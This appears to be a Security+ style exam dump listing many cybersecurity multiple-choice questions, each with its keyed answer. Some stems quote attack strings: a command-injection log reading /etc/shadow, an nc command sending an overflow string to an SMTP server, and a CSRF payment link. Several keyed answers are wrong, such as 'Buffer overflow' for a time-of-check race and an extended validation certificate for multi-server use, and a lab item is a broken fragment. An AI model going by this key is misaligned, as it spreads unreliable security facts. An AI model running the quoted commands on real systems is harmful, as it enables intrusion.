An organization is moving its human resources system to a cloud services provider. The company plans to continue using internal usernames and passwords with the service provider, but the security manager does not want the service provider to have a company of the passwords. Which of the following options meets all of these requirements?
Federated authentication
Company A has acquired Company B. Company A has different domains spread globally, and typically migrates its acquisitions infrastructure under its own domain infrastructure. Company B, however, cannot be merged into Company A's domain infrastructure. Which of the following methods would allow the two companies to access one another's resources?
Federation
Joe a website administrator believes he owns the intellectual property for a company invention and has been replacing image files on the company's public facing website in the DMZ. Joe is using steganography to hide stolen data. Which of the following controls can be implemented to mitigate this type of inside threat?
File integrity monitoring
A CSIRT has completed restoration procedures related to a breach of sensitive data is creating documentation used to improve the organization's security posture. The team has been specifically tasked to address logical controls in their suggestions. Which of the following would be MOST beneficial to include in lessons learned documentation? (Choose two.)
A list of policies, which should be revised to provide better clarity to employees regarding acceptable use A list of topics that should be added to the organization's security awareness training program based on weaknesses exploited during the attack
An employee uses RDP to connect back to the office network. If RDP is misconfigured, which of the following security exposures would this lead to?
A man in the middle attack could occur, resulting the employee's username and password being captured.
A security analyst is performing a BIA. The analyst notes that in a disaster, failover systems must be up and running within 30 minutes. The failover systems must use backup data that is no older than one hour. Which of the following should the analyst include in the business continuity plan?
A maximum RPO of 60 minutes
A security analyst is testing both Windows and Linux systems for unauthorized DNS zone transfers within a LAN on comptia.org from example.org. Which of the following commands should the security analyst use? (Choose two.)
A nslookup comptia.org set type=ANY ls-d example.org C dig -axfr comptia.org @example.org
Which of the following represents a multifactor authentication system?
A one-time password token combined with a proximity badge.
Which of the following is an example of resource exhaustion?
A penetration tester requests every available IP address from a DHCP server.
Which of the following differentiates a collision attack from a rainbow table attack?
A rainbow table attack performs a hash lookup
Which of the following threat actors is motivated primarily by a desire for personal recognition and a sense of accomplishment?
A script kiddie
Which of the following has the potential to create a DoS attack on a system?
A server room WiFi thermostat with default credentials
Which of the following attacks can be used to exploit a vulnerability that was created by untrained users?
A spear-phishing email with a file attachment.
Which of the following scenarios BEST describes an implementation of non-repudiation?
A user sends a digitally signed email to the entire finance department about an upcoming meeting
Which of the following generates reports that show the number of systems that are associated with POODLE, 3DES, and SMBv1 listings?
A vulnerability scanner
A security administrator has configured a RADIUS and a TACACS+ server on the company's network. Network devices will be required to connect to the TACACS+ server for authentication and send accounting information to the RADIUS server. Given the following information: RADIUS IP: 192.168.20.45 TACA IP 10.23.65.7 Which of the following should be configured on the network clients? (Choose two.)
Accounting port: UDP 1813 Authentication port: TCP 49
A member of the human resources department is searching for candidate resumes and encounters the following error message when attempting to access popular job search websites: Site Cannot Be Displayed: Unauthorized Access Policy Violation: Job Search User Group: Retail_Employee_Access Client Address: 10.13.78.145 DNS Server: 10.1.1.9 Proxy IP Address: 10.1.1.29 Contact your system admin for assistance. Which of the following would resolve this issue without compromising the company's security policies?
Add the employee to a less restrictive group on the content filter
A security administrator is reviewing the following firewall configuration after receiving reports that users are unable to connect to remote websites: 10 PERMIT FROM:ANY TO:ANY PORT:80 20 PERMIT FROM:ANY TO:ANY PORT:443 30 DENY FROM:ANY TO:ANY PORT:ANY Which of the following is the MOST secure solution the security administrator can implement to fix this issue?
Add the following rule to the firewall: 5 PERMIT FROM:ANY TO:ANY PORT:53
When considering a third-party cloud service provider, which of the following criteria would be the BEST to include in the security assessment process? (Choose two.)
Adherence to regulatory compliance Data retention policies
A new Chief Information Officer (CIO) has been reviewing the badging procedures and decides to write a policy that all employees must have their badges rekeyed at least annually. Which of the following controls BEST describes this policy?
Administrative
Adhering to a layered security approach, a controlled access facility employs security guards who verify the authorization of all personnel entering the facility. Which of the following terms BEST describes the security control being employed?
Administrative
An analysis of a threat actor, which has been active for several years, reveals the threat actor has high levels of funding, motivation, and sophistication. Which of the following types of threat actors does this BEST describe?
Advanced persistent threat
A technician is investigating a potentially compromised device with the following symptoms: Browser slowness Frequent browser crashes Hourglass stuck New search toolbar Increased memory consumption Which of the following types of malware has infected the system?
Adware
A development team has adopted a new approach to projects in which feedback is iterative and multiple iterations of deployments are provided within an application's full life cycle. Which of the following software development methodologies is the development team using?
Agile
Which of the following development models entails several iterative and incremental software development methodologies such as Scrum?
Agile
Which of the following models is considered an iterative approach with frequent testing?
Agile
When sending messages using symmetric encryption, which of the following must happen FIRST?
Agree on an encryption method
A company has just completed a vulnerability scan of its servers. A legacy application that monitors the HVAC system in the datacenter presents several challenges, as the application vendor is no longer in business. Which of the following secure network architecture concepts would BEST protect the other company servers if the legacy server were to be exploited?
Air gap
A system in the network is used to store proprietary secrets and needs the highest level of security possible. Which of the following should a security administrator implement to ensure the system cannot be reached from the Internet?
Air gap
A vice president at a manufacturing organization is concerned about desktops being connected to the network. Employees need to log onto the desktops' local account to verify that a product is being created within specifications; otherwise, the desktops should be as isolated as possible. Which of the following is the BEST way to accomplish this?
Air gap the desktops.
A software developer is concerned about DLL hijacking in an application being written. Which of the following is the MOST viable mitigation measure of this type of attack?
All calls to different DLLs should be hard-coded in the application
Which of the following outcomes is a result of proper error-handling procedures in secure code?
All fault conditions are logged and do not result in a program crash.
Which of the following implements two-factor authentication?
An ATM requiring a credit card and PIN
A member of the admins group reports being unable to modify the "changes" file on a server. The permissions on the file are as follows: Permissions User Group File -rwxrw-r--+ Admins Admins changes Based on the output above, which of the following BEST explains why the user is unable to modify the "changes" file?
An FACL has been added to the permissions for the file.
An intruder sniffs network traffic and captures a packet of internal network transactions that add funds to a game card. The intruder pushes the same packet multiple times across the network, which increments the funds on the game card. Which of the following should a security administrator implement to BEST protect against this type of attack?
An IPSec VPN
An organization just experienced a major cyberattack incident. The attack was well coordinated, sophisticated, and highly skilled. Which of the following targeted the organization?
An advanced persistent threat
A company is developing a new secure technology and requires computers being used for development to be isolated. Which of the following should be implemented to provide the MOST secure environment?
An air gapped computer network
Which of the following could occur when both strong and weak ciphers are configured on a VPN concentrator? (Choose two.)
An attacker could potentially perform a downgrade attack. The IPSec payload is reverted to 16-bit sequence numbers.
A systems administrator needs to install the same X.509 certificate on multiple servers. Which of the following should the administrator use?
An extended validation certificate
A small enterprise decides to implement a warm site to be available for business continuity in case of a disaster. Which of the following BEST meets its requirements?
An operational site requiring some equipment to be relocated as well as data transfer to the site
An incident responder is preparing to acquire images and files from a workstation that has been compromised. The workstation is still powered on and running. Which of the following should be acquired LAST?
Application files on hard disk
The computer resource center issued smartphones to all first-level and above managers. The managers have the ability to install mobile tools. Which of the following tools should be implemented to control the types of tools the managers install?
Application manager
A company uses an enterprise desktop imaging solution to manage deployment of its desktop computers. Desktop computer users are only permitted to use software that is part of the baseline image. Which of the following technical solutions was MOST likely deployed by the company to ensure only known-good software can be installed on corporate desktops?
Application whitelisting
A small- to medium-sized company wants to block the use of USB devices on its network. Which of the following is the MOST cost-effective way for the security analyst to prevent this?
Apply a GPO
A security consultant was asked to revise the security baselines that are utilized by a large organization. Although the company provides different platforms for its staff, including desktops, laptops, and mobile devices, the applications do not vary by platform. Which of the following should the consultant recommend? (Choose two.)
Apply application whitelisting. Disable default accounts and/or passwords.
Which of the following is the BEST way for home users to mitigate vulnerabilities associated with IoT devices on their home networks?
Apply firmware and software updates upon availability.
A security analyst is inspecting the results of a recent internal vulnerability scan that was performed against intranet services. The scan reports include the following critical-rated vulnerability: Title: Remote Command Execution vulnerability in web server Rating: Critical (CVSS 10.0) Threat actor: any remote user of the web server Confidence: certain Recommendation: apply vendor patches Which of the following actions should the security analyst perform FIRST?
Apply organizational context to the risk rating.
An organization wants to separate permissions for individuals who perform system changes from individuals who perform auditing of those system changes. Which of the following access control approaches is BEST suited for this?
Assign administrators and auditors to different groups and restrict permissions on system log files to read-only for the auditor group.
Which of the following encryption methods does PKI typically use to securely protect keys?
Asymmetric
Joe is exchanging encrypted email with another party. Joe encrypts the initial email with a key. When Joe receives a response, he is unable to decrypt the response with the same key he used initially. Which of the following would explain the situation?
Asymmetric encryption is being used
An organization has air gapped a critical system. Which of the following BEST describes the type of attacks that are prevented by this security measure?
Attacks from another local network segment
Which of the following access management concepts is MOST closely associated with the use of a password or PIN??
Authentication
Joe, a user, has been trying to send Ann, a different user, an encrypted document via email. Ann has not received the attachment but is able to receive the header information. Which of the following is MOST likely preventing Ann from receiving the encrypted file?
Authentication issues
Recently several employees were victims of a phishing email that appeared to originate from the company president. The email claimed the employees would be disciplined if they did not click on a malicious link in the message. Which of the following principles of social engineering made this attack successful?
Authority
Which of the following BEST describes the purpose of authorization?
Authorization provides permissions to a resource and comes after authentication.
A product manager is concerned about continuing operations at a facility located in a region undergoing significant political unrest. After consulting with senior management, a decision is made to suspend operations at the facility until the situation stabilizes. Which of the following risk management strategies BEST describes management's response?
Avoidance
An application developer has neglected to include input validation checks in the design of the company's new web application. An employee discovers that repeatedly submitting large amounts of data, including custom code, to an application will allow the execution of the custom code at the administrator level. Which of the following BEST identifies this application attack?
Buffer overflow
Which of the following vulnerabilities can lead to unexpected system behavior, including the bypassing of security controls, due to differences between the time of commitment and the time of execution?
Buffer overflow
During a routine vulnerability assessment, the following command was successful: echo "vrfy 'perl -e 'print "hi" x 500 ' ' " | nc www.company.com 25 Which of the following vulnerabilities is being exploited?
Buffer overflow directed at a specific host MTA
A company recently updated its website to increase sales. The new website uses PHP forms for leads and provides a directory with sales staff and their phone numbers. A systems administrator is concerned with the new website and provides the following log to support the concern: username JohnD does not exist, password prompt not supplied username DJohn does not exist, password prompt not supplied username JohnDoe exists, invalid password supplied username JohnDoe exists, invalid password supplied username JohnDoe exists, invalid password supplied username JohnDoe exists, account locked Which of the following is the systems administrator MOST likely to suggest to the Chief Information Security Officer (CISO) based on the above?
Changing the account standard naming convention
A security administrator receives an alert from a third-party vendor that indicates a certificate that was installed in the browser has been hijacked at the root of a small public CA. The security administrator knows there are at least four different browsers in use on more than a thousand computers in the domain worldwide. Which of the following solutions would be BEST for the security administrator to implement to most efficiently assist with this issue?
CRL
An organization needs to implement a large PKI. Network engineers are concerned that repeated transmission of the OCSP will impact network performance. Which of the following should the security analyst recommend is lieu of an OCSP?
CRL
While troubleshooting a client application connecting to the network, the security administrator notices the following error: Certificate is not valid. Which of the following is the BEST way to check if the digital certificate is valid?
CRL
A technician, who is managing a secure B2B connection, noticed the connection broke last night. All networking equipment and media are functioning as expected, which leads the technician to question certain PKI components. Which of the following should the technician use to validate this assumption? (Choose two.)
CRL OCSP
A forensics investigator is examining a number of unauthorized payments that were reported on the company's website. Some unusual log entries show users received an email for an unwanted mailing attempt to unsubscribe. One of the users reported the email to the phishing team, and the forwarded email revealed the link to be: <a href="https://www.company.com/payto.do?routing=00001111&acct=22223334&amount=250">Click here to unsubscribe</a> Which of the following will the forensics investigator MOST likely determine has occurred?
CSRF
After deploying an antivirus solution on some network-isolated industrial computers, the service desk team received a trouble ticket about the following message being displayed on the computers' screens: Your AV protection has blocked an unknown application while performing suspicious activities. The application was put in quarantine. Which of the following would be the SAFEST next step to address the issue?
Check the antivirus vendor's documentation about the security modules, incompatibilities, and software whitelisting.
A security administrator needs to address the following audit recommendations for a public-facing SFTP server: Users should be restricted to upload and download files to their own home directories only. Users should not be allowed to use interactive shell login. Which of the following configuration parameters should be implemented? (Choose two.).
ChrootDirectory PermitTTY
PERMIT TCP from: ANY to: 192.168.1.10:80 PERMIT TCP from: ANY to: 192.168.1.10:443 DENY TCP from: ANY to: ANY The security administrator confirms form the following packet capture that there is network traffic from the internet to the web server: TCP 10.23.243.2:2000->192.167.1.10:80 POST/default's TCP 172.16.4.100:1934->192.168.1.10:80 GET/session.aspx>user1_sessionid=a12ad8741d8f7e7ac723847cBaa8231a The company's internal auditor issues a security finding and requests that immediate action be taken. With which of the following is the auditor MOST concerned?
Clear text credentials
A stock trading company had the budget for enhancing its secondary datacenter approved. Since the main site is in a hurricane-affected area and the disaster recovery site is 100mi (161km) away, the company wants to ensure its business is always operational with the least amount of man hours needed. Which of the following types of disaster recovery sites should the company implement?
Cloud-based site
A new mobile application is being developed in-house. Security reviews did not pick up any major flaws, however vulnerability scanning results show fundamental issues at the very end of the project cycle. Which of the following security activities should also have been performed to discover vulnerabilities earlier in the lifecycle?
Code review
A cryptographer has developed a new proprietary hash function for a company and solicited employees to test the function before recommending its implementation. An employee takes the plaintext version of a document and hashes it, then changes the original plaintext document slightly and hashes it, and continues repeating this process until two identical hash values are produced from two different documents. Which of the following BEST describes this cryptographic attack?
Collision
Given the information below: MD5HASH document.doc 049eab40fd36caadlfab10b3cdf4a883 MD5HASH image.jpg 049eab40fd36caadlfab10b3cdf4a883 Which of the following concepts are described above? (Choose two.)
Collision Hashing
An administrator discovers the following log entry on a server: Nov 12 2013 00:23:45 httpd[2342]: GET /app2/prod/proc/process.php?input=change;cd%20../../../etc;cat%20shadow Which of the following attacks is being attempted?
Command injection
When implementing automation with IoT devices, which of the following should be considered FIRST to keep the network secure?
Communication protocols
A group of non-profit agencies wants to implement a cloud service to share resources with each other and minimize costs. Which of the following cloud deployment models BEST describes this type of effort?
Community
Which of the following types of cloud infrastructures would allow several organizations with similar structures and interests to realize the benefits of shared storage and resources?
Community
Which of the following needs to be performed during a forensics investigation to ensure the data contained in a drive image has not been compromised?
Compare the image hash to the original hash.
A recent audit uncovered a key finding regarding the use of a specific encryption standard in a web application that is used to communicate with business customers. Due to the technical limitations of its customers, the company is unable to upgrade the encryption standard. Which of the following types of controls should be used to reduce the risk created by this scenario?
Compensating
Which of the following controls is implemented in lieu of the primary security controls?
Compensating
Which of the following threat actors is MOST likely to steal a company's proprietary information to gain a market edge and reduce time to market?
Competitor
A company is using a mobile device deployment model in which employees use their personal devices for work at their own discretion. Some of the problems the company is encountering include the following: There is no standardization. Employees ask for reimbursement for their devices. Employees do not replace their devices often enough to keep them running efficiently. The company does not have enough control over the devices. Which of the following is a deployment model that would help the company overcome these problems?
CYOD - Choose Your Own Device
An organization wishes to allow its users to select devices for business use but does not want to overwhelm the service desk with requests for too many different device types and models. Which of the following deployment models should the organization use to BEST meet these requirements?
CYOD model
*LAB* Data Center Terminal Server
Cable Locks Antivirus Host Based Firewall Proximity Reader Sniffer Mantrap
After running an online password cracking tool, an attacker recovers the following password: gh ;j SKSTOi;618& Based on the above information, which of the following technical controls have been implemented? (Choose two.)
Complexity Length
A university is opening a facility in a location where there is an elevated risk of theft. The university wants to protect the desktops in its classrooms and labs. Which of the following should the university use to BEST protect these assets deployed in the facility?
Cable locks
Which of the following locations contain the MOST volatile data?
Cache memory
Which of the following is the proper way to quantify the total monetary damage resulting from an exploited vulnerability?
Calculate the ALE
A user loses a COPE device. Which of the following should the user do NEXT to protect the data on the device?
Call the company help desk to remotely wipe the device.
Given the following requirements: Help to ensure non-repudiation Capture motion in various formats Which of the following physical controls BEST matches the above descriptions?
Camera
A company's loss control department identifies theft as a recurring loss type over the past year. Based on the department's report, the Chief Information Officer (CIO) wants to detect theft of datacenter equipment. Which of the following controls should be implemented?
Cameras
A coffee company has hired an IT consultant to set up a WiFi network that will provide Internet access to customers who visit the company's chain of cafés. The coffee company has provided no requirements other than that customers should be granted access after registering via a web form and accepting the terms of service. Which of the following is the MINIMUM acceptable configuration to meet this single requirement?
Captive portal
A company needs to implement a system that only lets a visitor use the company's network infrastructure if the visitor accepts the AUP. Which of the following should the company use?
Captive portal
A network technician is setting up a segmented network that will utilize a separate ISP to provide wireless access to the public area for a company. Which of the following wireless security methods should the technician implement to provide basic accountability for access to the public network?
Captive portal
The IT department is deploying new computers. To ease the transition, users will be allowed to access their old and new systems. The help desk is receiving reports that users are experiencing the following error when attempting to log in to their previous system: Logon Failure: Access Denied Which of the following can cause this issue?
Certificate issues
An attacker compromises a public CA and issues unauthorized X.509 certificates for Company.com. In the future, Company.com wants to mitigate the impact of similar incidents. Which of the following would assist Company.com with its goal?
Certificate pinning
A security engineer must install the same x.509 certificate on three different servers. The client application that connects to the server performs a check to ensure the certificate matches the host name. Which of the following should the security engineer use?
Certificate utilizing the SAN file
Which of the following provides the ability to attest to the integrity of a system from the initiation of an incident to the time the incident is litigated?
Chain of custody
The security administrator has noticed cars parking just outside of the building fence line. Which of the following security measures can the administrator use to help protect the company's WiFi network against war driving? (Choose two.)
Change antenna placement Adjust power level controls
A security administrator wants to better prepare the incident response team for possible security events. The IRP has been updated and distributed to incident response team members. Which of the following is the BEST option to fulfill the administrator's objective?
Conduct a tabletop test
The chief Security Officer (CSO) has reported a rise in data loss but no break ins have occurred. By doing which of the following is the CSO most likely to reduce the number of incidents?
Conduct security awareness training
A company occupies the third floor of a leased building that has other tenants. The path from the demarcation point to the company's controlled space runs through unsecured areas managed by other companies. Which of the following could be used to protect the company's cabling as it passes through uncontrolled spaces?
Conduits
A law firm wants to protect its customers' individual information, which is stored at a remote facility, from inadvertently being compromised through a violation of the security objectives. Which of the following BEST describes the customer information that is being stored at this facility?
Confidential
A security analyst is hardening a WiFi infrastructure. The primary requirements are the following: The infrastructure must allow staff to authenticate using the most secure method. The infrastructure must allow guests to use an "open" WiFi network that logs valid email addresses before granting access to the Internet. Given these requirements, which of the following statements BEST represents what the analyst should recommend and configure?
Configure a captive portal for guest and WPA2 Enterprise for staff
A security administrator is creating a risk assessment with regard to how to harden internal communications in transit between servers. Which of the following should the administrator recommend in the report?
Configure server-based PKI certificates.
An organization is comparing and contrasting migration from its standard desktop configuration to the newest version of the platform. Before this can happen, the Chief Information Security Officer (CISO) voices the need to evaluate the functionality of the newer desktop platform to ensure interoperability with existing software in use by the organization. In which of the following principles of architecture and design is the CISO engaging?
Change management
A company researched the root cause of a recent vulnerability in its software. It was determined that the vulnerability was the result of two updates made in the last release. Each update alone would not have resulted in the vulnerability. In order to prevent similar situations in the future, the company should improve which of the following?
Change management procedures
An organization relies heavily on an application that has a high frequency of security updates. At present, the security team only updates the application on the first Monday of each month, even though the security updates are released as often as twice a week. Which of the following would be the BEST method of updating this application?
Configure testing and automate patch management for the application.
A network administrator needs to allocate a new network for the R&D group. The network must not be accessible from the Internet regardless of the network firewall or other external misconfigurations. Which of the following settings should the network administrator implement to accomplish this?
Configure the OS default TTL to 1
To reduce disk consumption, an organization's legal department has recently approved a new policy setting the data retention period for sent email at six months. Which of the following is the BEST way to ensure this goal is met?
Configure the email server to delete the relevant emails.
An administrator has concerns regarding the traveling sales team who works primarily from smart phones. Given the sensitive nature of their work, which of the following would BEST prevent access to the data in case of loss or theft?
Configure the smart phones so that the stored data can be destroyed from a centralized location
An organization has several production-critical SCADA supervisory systems that cannot follow the normal 30- day patching policy. Which of the following BEST maximizes the protection of these systems from malicious software?
Configure the systems to ensure only necessary applications are able to run.
A Chief Information Security Officer (CISO) has tasked a security analyst with assessing the security posture of an organization and which internal factors would contribute to a security compromise. The analyst performs a walk-through of the organization and discovers there are multiple instances of unlabeled optical media on office desks. Employees in the vicinity either do not claim ownership or disavow any knowledge concerning who owns the media. Which of the following is the MOST immediate action to be taken?
Confiscate the media and dispose of it in a secure manner as per company policy.
While investigating a virus infection, a security analyst discovered the following on an employee laptop: Multiple folders containing a large number of newly released movies and music files Proprietary company data A large amount of PHI data Unapproved FTP software Documents that appear to belong to a competitor Which of the following should the analyst do FIRST?
Contact the legal and compliance department for guidance
A company has had a BYOD policy in place for many years and now wants to roll out an MDM solution. The company has decided that end users who wish to utilize their personal devices for corporate use must opt in to the MDM solution. End users are voicing concerns about the company having access to their personal devices via the MDM solution. Which of the following should the company implement to ease these concerns?
Containerization
A root cause analysis reveals that a web application outage was caused by one of the company's developers uploading a newer version of the third-party libraries that were shared among several applications. Which of the following implementations would be BEST to prevent this issue from reoccurring?
Containerization
Management wants to ensure any sensitive data on company-provided cell phones is isolated in a single location that can be remotely wiped if the phone is lost. Which of the following technologies BEST meets this need?
Containerization
During a lessons learned meeting regarding a previous incident, the security team receives a follow-up action item with the following requirements: Allow authentication from within the United States anytime Allow authentication if the user is accessing email or a shared file system Do not allow authentication if the AV program is two days out of date Do not allow authentication if the location of the device is in two specific countries Given the requirements, which of the following mobile deployment authentication types is being utilized?
Context-aware authentication
A security administrator returning from a short vacation receives an account lock-out message when attempting to log into the computer. After getting the account unlocked the security administrator immediately notices a large amount of emails alerts pertaining to several different user accounts being locked out during the past three days. The security administrator uses system logs to determine that the lock-outs were due to a brute force attack on all accounts that has been previously logged into that machine. Which of the following can be implemented to reduce the likelihood of this attack going undetected?
Continuous monitoring
A security engineer implements multiple technical measures to secure an enterprise network. The engineer also works with the Chief Information Officer (CIO) to implement policies to govern user behavior. Which of the following strategies is the security engineer executing?
Control diversity
Which of the following control types would a backup of server data provide in case of a system issue?
Corrective
Which of the following controls allows a security guard to perform a post-incident review?
Corrective
A forensics analyst is investigating a hard drive for evidence of suspected illegal activity. Which of the following should the analyst do FIRST?
Create a hash of the hard drive.
A new intern in the purchasing department requires read access to shared documents. Permissions are normally controlled through a group called "Purchasing", however, the purchasing group permissions allow write access. Which of the following would be the BEST course of action?
Create a new group that has only read permissions for the files.
A security professional wants to test a piece of malware that was isolated on a user's computer to document its effect on a system. Which of the following is the FIRST step the security professional should take?
Create a secure baseline of the system state.
An organization prefers to apply account permissions to groups and not individual users, but allows for exceptions that are justified. Some systems require a machine-to-machine data exchange and an associated account to perform this data exchange. One particular system has data in a folder that must be modified by another system. No user requires access to this folder; only the other system needs access to this folder. Which of the following is the BEST account management practice?
Create a service account and apply the necessary permissions directly to the service account itself
An administrator has configured a new Linux server with the FTP service. Upon verifying that the service was configured correctly, the administrator has several users test the FTP service. Users report that they are able to connect to the FTP service and download their personal files, however, they cannot transfer new files to the server. Which of the following will most likely fix the uploading issue for the users?
Create an ACL to allow the FTP service write access to user directories
A security administrator determined that users within the company are installing unapproved software. Company policy dictates that only certain applications may be installed or ran on the user's computers without exception. Which of the following should the administrator do to prevent all unapproved software from running on the user's computer?
Create an application whitelist and use OS controls to enforce it
Joe, a member of the sales team, recently logged into the company servers after midnight local time to download the daily lead form before his coworkers did. Management has asked the security team to provide a method for detecting this type of behavior without impeding the access for sales employee as they travel overseas. Which of the following would be the BEST method to achieve this objective?
Create an automated alert on the SIEM for anomalous sales team activity.
During an incident, a company's CIRT determines it is necessary to observe the continued network-based transactions between a callback domain and the malware running on an enterprise PC. Which of the following techniques would be BEST to enable this activity while reducing the risk of lateral spread and the risk that the adversary would notice any changes?
Create and apply microsegmentation rules. Physically move the PC to a separate Internet point of presence.
A Chief Information Security Officer (CISO) for a school district wants to enable SSL to protect all of the public-facing servers in the domain. Which of the following is a secure solution that is the MOST cost effective?
Create and install a self-signed certificate on each of the servers in the domain.
A consultant is configuring a vulnerability scanner for a large, global organization in multiple countries. The consultant will be using a service account to scan systems with administrative privileges on a weekly basis, but there is a concern that hackers could gain access to the account and pivot throughout the global network. Which of the following would be BEST to help mitigate this concern?
Create different accounts for each region, each configured with push MFA notifications.
A tester was able to leverage a pass-the-hash attack during a recent penetration test. The tester gained a foothold and moved laterally through the network. Which of the following would prevent this type of attack from reoccurring?
Creating separate accounts for privileged access that are not used to log on to local machines
A vulnerability scan is being conducted against a desktop system. The scan is looking for files, versions, and registry values known to be associated with system vulnerabilities. Which of the following BEST describes the type of scan being performed?
Credentialed
Which of the following types of vulnerability scans typically returns more detailed and thorough insights into actual system vulnerabilities?
Credentialed
A technician has installed new vulnerability scanner software on a server that is joined to the company domain. The vulnerability scanner is able to provide visibility over the patch posture of all company's clients. Which of the following is being used?
Credentialed scan
A vulnerability scanner that uses its running service's access level to better assess vulnerabilities across multiple assets within an organization is performing a:
Credentialed scan.
A company is performing an analysis of which corporate units are most likely to cause revenue loss in the event the unit is unable to operate. Which of the following is an element of the BIA that this action is addressing?
Critical system inventory
A web application is configured to target browsers and allow access to bank accounts to siphon money to a foreign account. This is an example of which of the following attacks?
Cross-site scripting
A user is unable to open a file that has a grayed-out icon with a lock. The user receives a pop-up message indicating that payment must be sent in Bitcoin to unlock the file. Later in the day, other users in the organization lose the ability to open files on the server. Which of the following has MOST likely occurred? (Choose three.)
Crypto-malware Virus Ransomware
An organization's Chief Information Officer (CIO) read an article that identified leading hacker trends and attacks, one of which is the alteration of URLs to IP addresses resulting in users being redirected to malicious websites. To reduce the chances of this happening in the organization, which of the following secure protocols should be implemented?
DNSSEC
To further secure a company's email system, an administrator is adding public keys to DNS records in the company's domain. Which of the following is being used?
DNSSEC
Users are attempting to access a company's website but are transparently redirected to another websites. The users confirm the URL is correct. Which of the following would BEST prevent this issue in the future?
DNSSEC
Which of the following BEST distinguishes Agile development from other methodologies in terms of vulnerability management?
Daily standups
Two companies are enabling TLS on their respective email gateways to secure communications over the Internet. Which of the following cryptography concepts is being implemented?
Data in transit
A company is implementing a tool to mask all PII when moving data from a production server to a testing server. Which of the following security techniques is the company applying?
Data obfuscation
A coding error has been discovered on a customer-facing website. The error causes each request to return confidential PHI data for the incorrect organization. The IT department is unable to identify the specific customers who are affected. As a result, all customers must be notified of the potential breach. Which of the following would allow the team to determine the scope of future incidents?
Database access monitoring
A technician is configuring a wireless guest network. After applying the most recent changes the technician finds the new devices can no longer find the wireless network by name but existing devices are still able to use the wireless network. Which of the following security measures did the technician MOST likely implement to cause this Scenario?
Deactivation of SSID broadcast
A security analyst is investigating a call from a user regarding one of the websites receiving a 503: Service Unavailable error. The analyst runs a netstat-an command to discover if the web server is up and listening. The analyst receives the following output: TCP 10.1.5.2:80 192.168.2.112:60973 TIME_WAIT TCP 10.1.5.2:80 192.168.2.112:60974 TIME_WAIT TCP 10.1.5.2:80 192.168.2.112:60975 TIME_WAIT TCP 10.1.5.2:80 192.168.2.112:60976 TIME_WAIT TCP 10.1.5.2:80 192.168.2.112:60977 TIME_WAIT TCP 10.1.5.2:80 192.168.2.112:60978 TIME_WAIT Which of the following types of attack is the analyst seeing?
Denial of service
A systems administrator is deploying a new mission essential server into a virtual environment. Which of the following is BEST mitigated by the environment's rapid elasticity characteristic?
Denial of service
Which of the following is MOST likely the security impact of continuing to operate end-of-life systems?
Denial of service due to patch availability
An organization uses SSO authentication for employee access to network resources. When an employee resigns, as per the organization's security policy, the employee's access to all network resources is terminated immediately. Two weeks later, the former employee sends an email to the help desk for a password reset to access payroll information from the human resources server. Which of the following represents the BEST course of action?
Deny the former employee's request, as a password reset would give the employee access to all network resources.
A security engineer is configuring a wireless network with EAP-TLS. Which of the following activities is a requirement for this configuration?
Deploying certificates to endpoint devices
A high-security defense installation recently begun utilizing large guard dogs that bark very loudly and excitedly at the slightest provocation. Which of the following types of controls does this BEST describe?
Deterrent
Having adequate lighting on the outside of a building is an example of which of the following security controls?
Deterrent
After a merger between two companies a security analyst has been asked to ensure that the organization's systems are secured against infiltration by any former employees that were terminated during the transition. Which of the following actions are MOST appropriate to harden applications against infiltration by former employees? (Choose two.)
Develop and implement updated access control policies Assess and eliminate inactive accounts
A system administrator is configuring a site-to-site VPN tunnel. Which of the following should be configured on the VPN concentrator during the IKE phase?
Diffie-Hellman
An organization wants to conduct secure transactions of large data files. Before encrypting and exchanging the data files, the organization wants to ensure a secure exchange of keys. Which of the following algorithms is appropriate for securing the key exchange?
Diffie-Hellman
An information system owner has supplied a new requirement to the development team that calls for increased nonrepudiation within the application. After undergoing several audits, the owner determined that current levels of non-repudiation were insufficient. Which of the following capabilities would be MOST appropriate to consider implementing is response to the new requirement?
Digital signatures
A security administrator wants to configure a company's wireless network in a way that will prevent wireless clients from broadcasting the company's SSID. Which of the following should be configured on the company's access points?
Disable SSID broadcast
While checking logs, a security engineer notices a number of end users suddenly downloading files with the .tar.gz extension. Closer examination of the files reveals they are PE32 files. The end users state they did not initiate any of the downloads. Further investigation reveals the end users all clicked on an external email containing an infected MHT file with an href link a week prior. Which of the following is MOST likely occurring?
A RAT was installed and is transferring additional exploit tools.
A government contracting company issues smartphones to employees to enable access to corporate resources. Several employees will need to travel to a foreign country for business purposes and will require access to their phones. However, the company recently received intelligence that its intellectual property is highly desired by the same country's government. Which of the following MDM configurations would BEST reduce the disk of compromise while on foreign soil?
Disable location services.
The SSID broadcast for a wireless router has been disabled but a network administrator notices that unauthorized users are accessing the wireless network. The administer has determined that attackers are still able to detect the presence of the wireless network despite the fact the SSID has been disabled. Which of the following would further obscure the presence of the wireless network?
Disable responses to a broadcast probe request
Max 15 00:15:23.431 CRT: #SEC_LOGIN-5-LOGIN_SUCCESS: Login Success [user: msmith] [Source: 10.0.12.45] [localport: 23] at 00:15:23:431 CET Sun Mar 15 2015 Which of the following should the network administrator do to protect data security?
Disable telnet and enable SSH
A security team has completed the installation of a new server. The OS and applications have been patched and tested, and the server is ready to be deployed. Which of the following actions should be taken before deploying the new server?
Disable the default accounts.
A technician has discovered a crypto-virus infection on a workstation that has access to sensitive remote resources. Which of the following is the immediate NEXT step the technician should take?
Disable the network connections on the workstation.
Security administrators attempted corrective action after a phishing attack. Users are still experiencing trouble logging in, as well as an increase in account lockouts. Users' email contacts are complaining of an increase in spam and social networking requests. Due to the large number of affected accounts, remediation must be accomplished quickly. Which of the following actions should be taken FIRST? (Choose two.)
Disable the open relay on the email server Enable sender policy framework
An organization has hired a penetration tester to test the security of its ten web servers. The penetration tester is able to gain root/administrative access in several servers by exploiting vulnerabilities associated with the implementation of SMTP, POP, DNS, FTP, Telnet, and IMAP. Which of the following recommendations should the penetration tester provide to the organization to better protect their web servers in the future?
Disable unnecessary services
Which of the following attacks is used to capture the WPA2 handshake?
Disassociation
An incident response analyst at a large corporation is reviewing proxy log data. The analyst believes a malware infection may have occurred. Upon further review, the analyst determines the computer responsible for the suspicious network traffic is used by the Chief Executive Officer (CEO). Which of the following is the best NEXT step for the analyst to take?
Disconnect the CEO's workstation from the network
A security administrator wants to implement a company-wide policy to empower data owners to manage and enforce access control rules on various resources. Which of the following should be implemented?
Discretionary access control
